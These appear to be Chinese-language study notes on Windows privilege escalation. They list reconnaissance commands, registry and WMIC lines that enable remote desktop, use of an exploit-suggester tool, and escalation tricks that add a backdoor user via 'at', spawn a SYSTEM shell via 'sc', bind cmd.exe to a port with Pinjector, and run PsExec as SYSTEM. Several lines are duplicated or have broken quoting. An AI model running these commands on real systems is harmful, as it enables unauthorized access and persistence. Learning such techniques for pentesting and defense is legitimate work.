提权
1.操作系统的名称和版本信号
Systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
Systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本”
修补程序 补丁
主机名称:hostname 命令
环境变量:set 命令
whoami
查看所有用户
查看所有用户:”net user” 或者” net1 user”命令
查看管理员用户组:”net localgroup administrators”或者
“net1 localgroup administrators”命令
查看远程终端在线用户:”query user”或者”quser”命令
查看远程端口(3389)
1.获取对应的pid号:”tasklist /svc|find “TermService”命令
2.通过PID号查询端口:”netstat –ano | findstr 1980”命令
netstat -ano
term Service
terminal 终端
tasklist /svc|findstr 3876
查看网络配置情况
网络配置情况:”ipconfig /all” 命令
路由器信息:”route Print”命令
查看arp缓存:”arp –a”命令
查看网络连接:”netstat –ano”命令
查看防火墙规则:
Netsh firewall show config
路由器信息:”route Print”命令
查看arp缓存:”arp –a”命令
查看防火墙规则:
Netsh firewall show config
目录文件操作: 常用命令
列出c:\phpstudy下的所有目录
For /d %i in (c:\phpstudy*) do @echo %i
以当前目录为搜索路径,把当前目录及子目录中的全部exe文件列出:
For /r %i in (*.exe) do @echo %i
以指定目录为搜索目录,把当前目录以及子目录中的所有文件列出:
For /r “目录名” %i in (.) do echo %i
通过使用/f命令,可以显示b.txt中的内容
For /f %i in (C:\1.txt) do echo %i
打印特定目录下的目录名 for /d %i in (xxxx/xxxx) do @echo %i
打印当前目录下的文件 for /r %i in (xxx.xxxx) do @echo %i
打印指定目录下的文件 for /r “xxx/xxxx” %i in (.) do @echo %i
for /d %i in (C:\phpStudy*) do @echo %i
For /r %i in (*.exe) do @echo %i 打印当前目录下 将所有的以.exe文件作为结尾的赋值给变量%i 然后打印
以指定目录为搜索目录,把当前目录以及子目录中的所有文件列出: For /r “目录名” %i in (.) do echo %i
通过使用/f命令,可以显示b.txt中的内容
For /f %i in (C:\1.txt) do echo %i
findstr
开启3389端口
在windows server 2003 中,使用cmd命令开启3389:
Wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1
在windows server 2012 中,使用cmd命令开启3389:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启3389端口
在windows server 2008/7/server 2012中,使用cmd开启3389端口
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) callsetallowtsconnections 1
在windows server 2012 和windows 7 中只需要执行前2条命令.
wind 10
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal
Server” /v fSingleSessionPerUser /t REG_DWORD /d 0
Windows 提权准备
1.信息收集
2.根据操作系统的具体情况来决定提权
提权辅助工具
Windows exploit-suggester是一款提权辅助工具.
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py # 下载安装脚本
sudo python2 get-pip.py # 运行安装脚本
pip2 install xlrd1.2.0
pip2 --trusted-host pypi.python.org install xlrd1.2.0(优先)
python2 windows-exploit-suggester.py --update
python2 windows-exploit-suggester.py --database ./2022-04-18-mssb.xls --systeminfo ./systeminfo.txt
https://github.com/klsfct/getshell
https://github.com/SecWiki/windows-kernel-exploits
windows-内核-exploits/ MS14-002 /
提权辅助网站
低版本at提权 windows server 2003
at 19:33 net user roge 123456 / add
at 时间 /interactive cmd.exe 获得交互的高级权限cmd
Sc提权:
创建一个计划任务
windows server 2003 要求是管理员权限
sc create systemcmd binPath= “cmd /K start” type= own type= interact
sc start systemcmd
利用 pinjector.exe 提权
Pinjector
Pinjector –l 列出进程
Pinjector –p pid cmd.exe listen_port
PSTools提权
PsExec.exe /accepteula /s \127.0.0.1 cmd /c “whoami”